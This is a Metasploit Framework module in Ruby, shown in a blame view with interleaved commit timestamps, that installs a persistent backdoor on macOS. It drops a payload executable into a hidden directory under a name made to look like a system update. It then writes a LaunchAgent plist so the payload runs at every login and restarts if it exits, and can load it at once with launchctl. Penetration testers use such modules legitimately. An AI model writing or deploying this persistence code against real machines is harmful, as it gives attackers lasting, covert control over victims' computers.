2013-08-07 15:19:43 +00:00
|
|
|
##
|
|
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/post/file'
|
2013-10-12 21:47:35 +00:00
|
|
|
require 'msf/core/exploit/exe'
|
2013-10-13 01:50:53 +00:00
|
|
|
require 'shellwords'
|
2013-10-12 21:47:35 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2013-10-13 01:50:53 +00:00
|
|
|
Rank = ExcellentRanking
|
2013-10-12 21:47:35 +00:00
|
|
|
|
|
|
|
include Msf::Post::Common
|
|
|
|
include Msf::Post::File
|
2013-10-18 16:31:02 +00:00
|
|
|
include Msf::Exploit::EXE
|
2013-10-12 21:47:35 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Mac OS X Persistent Payload Installer',
|
|
|
|
'Description' => %q{
|
2013-10-13 01:50:53 +00:00
|
|
|
This module provides a persistence boot payload by creating a plist entry
|
|
|
|
in current user's ~/Library/LaunchAgents directory. Whenever the user logs in,
|
|
|
|
the LaunchAgent will be invoked and our dropped payload will run.
|
2013-10-12 21:47:35 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2013-10-13 01:50:53 +00:00
|
|
|
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", "joev" ],
|
2013-10-12 21:47:35 +00:00
|
|
|
'Platform' => [ 'osx' ],
|
|
|
|
'Targets' => [ [ 'Mac OS X', {} ] ],
|
|
|
|
'DefaultTarget' => 0,
|
2013-10-18 05:41:18 +00:00
|
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
2013-10-12 21:47:35 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('BACKDOOR_PATH',
|
2013-10-13 01:53:16 +00:00
|
|
|
[true, 'Path to hide the backdoor on the target.',
|
|
|
|
'/Users/<user>/Library/.<random>/com.system.update']
|
2013-10-13 01:50:53 +00:00
|
|
|
),
|
2013-10-18 05:41:18 +00:00
|
|
|
OptBool.new('KEEPALIVE',
|
2013-10-13 01:50:53 +00:00
|
|
|
[true, 'Continually restart the payload exe if it crashes/exits.', true]
|
2013-10-18 05:41:18 +00:00
|
|
|
),
|
|
|
|
OptBool.new('RUN_NOW',
|
|
|
|
[false, 'Run the installed payload immediately.', false]
|
2013-10-12 21:47:35 +00:00
|
|
|
)
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2013-10-13 01:50:53 +00:00
|
|
|
def exploit
|
2013-10-12 21:47:35 +00:00
|
|
|
# Store backdoor on target machine
|
|
|
|
write_backdoor(generate_payload_exe)
|
2013-10-13 01:50:53 +00:00
|
|
|
# Add plist file to LaunchAgents dir
|
2013-10-12 21:47:35 +00:00
|
|
|
add_launchctl_item
|
2013-10-18 05:41:18 +00:00
|
|
|
# invoke the service if necessary
|
|
|
|
invoke_service if run_now?
|
|
|
|
# tell the user how to remove the persistence if necessary
|
|
|
|
list_removal_paths
|
2013-10-12 21:47:35 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
private
|
|
|
|
|
|
|
|
# drops the file to disk, then makes it executable
|
|
|
|
# @param [String] exe the executable to drop
|
|
|
|
def write_backdoor(exe)
|
|
|
|
print_status("Dropping backdoor executable...")
|
2013-10-18 05:41:18 +00:00
|
|
|
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
|
2013-10-13 01:50:53 +00:00
|
|
|
|
2013-10-12 21:47:35 +00:00
|
|
|
if write_file(backdoor_path, exe)
|
|
|
|
print_good("Backdoor stored to #{backdoor_path}")
|
2013-10-18 05:41:18 +00:00
|
|
|
cmd_exec("chmod +x #{backdoor_path.shellescape}")
|
2013-10-12 21:47:35 +00:00
|
|
|
else
|
|
|
|
fail_with("Error dropping backdoor to #{backdoor_path}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
|
|
|
|
def add_launchctl_item
|
|
|
|
label = File.basename(backdoor_path)
|
2013-10-18 16:27:37 +00:00
|
|
|
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
|
2013-10-12 21:47:35 +00:00
|
|
|
item = <<-EOI
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
|
|
<plist version="1.0">
|
|
|
|
<dict>
|
|
|
|
<key>Label</key>
|
|
|
|
<string>#{label}</string>
|
|
|
|
<key>Program</key>
|
|
|
|
<string>#{backdoor_path}</string>
|
|
|
|
<key>ProgramArguments</key>
|
|
|
|
<array>
|
|
|
|
<string>#{backdoor_path}</string>
|
|
|
|
</array>
|
|
|
|
<key>RunAtLoad</key>
|
|
|
|
<true/>
|
|
|
|
<key>KeepAlive</key>
|
2013-10-13 01:50:53 +00:00
|
|
|
<#{keepalive?}/>
|
2013-10-12 21:47:35 +00:00
|
|
|
</dict>
|
|
|
|
</plist>
|
|
|
|
EOI
|
2013-10-13 01:50:53 +00:00
|
|
|
|
2013-10-18 05:41:18 +00:00
|
|
|
if write_file(plist_path, item)
|
2013-10-12 21:47:35 +00:00
|
|
|
print_good("LaunchAgent added: #{plist_path}")
|
|
|
|
else
|
|
|
|
fail_with("Error writing LaunchAgent item to #{plist_path}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-10-18 05:41:18 +00:00
|
|
|
# tells launchctl to start the service we dropped
|
|
|
|
def invoke_service
|
|
|
|
print_status("Starting the LaunchAgent")
|
|
|
|
cmd_exec("launchctl unload -w #{plist_path.shellescape}") # in case of previous persistence (unlikely)
|
|
|
|
cmd_exec("launchctl load -w #{plist_path.shellescape}")
|
2013-10-18 05:47:22 +00:00
|
|
|
cmd_exec("launchctl start #{File.basename(plist_path).shellescape}")
|
2013-10-18 05:41:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# useful if you want to remove the persistence.
|
|
|
|
# prints out a list of paths to remove and commands to run.
|
|
|
|
def list_removal_paths
|
|
|
|
files = [backdoor_path, plist_path]
|
|
|
|
run_cmd = "Then log out or run: launchctl unload -w #{plist_path.shellescape}"
|
|
|
|
print_status("To remove the persistence, delete the files:\n#{files.join("\n")}\n#{run_cmd}")
|
|
|
|
end
|
|
|
|
|
2013-10-12 21:47:35 +00:00
|
|
|
# path to upload the backdoor. any <user> or <random> substrings will be replaced.
|
|
|
|
# @return [String] path to drop the backdoor payload.
|
|
|
|
def backdoor_path
|
|
|
|
@backdoor_path ||= (datastore['BACKDOOR_PATH']
|
|
|
|
.gsub('<random>'){ Rex::Text.rand_text_alpha(8) }
|
2013-10-13 01:50:53 +00:00
|
|
|
.gsub('<user>', user))
|
2013-10-12 21:47:35 +00:00
|
|
|
end
|
|
|
|
|
2013-10-18 05:41:18 +00:00
|
|
|
# path to the LaunchAgent service configuration plist
|
|
|
|
# @return [String] path to the LaunchAgent service
|
|
|
|
def plist_path
|
|
|
|
@plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"
|
|
|
|
end
|
|
|
|
|
2013-10-13 01:50:53 +00:00
|
|
|
def keepalive?; datastore['KEEPALIVE']; end
|
2013-10-18 05:41:18 +00:00
|
|
|
def run_now?; datastore['RUN_NOW']; end
|
2013-10-13 01:50:53 +00:00
|
|
|
|
2013-10-12 21:47:35 +00:00
|
|
|
# @return [String] username of the session
|
|
|
|
def user
|
2013-10-13 01:50:53 +00:00
|
|
|
@user ||= cmd_exec('whoami').strip
|
2013-10-12 21:47:35 +00:00
|
|
|
end
|
|
|
|
end
|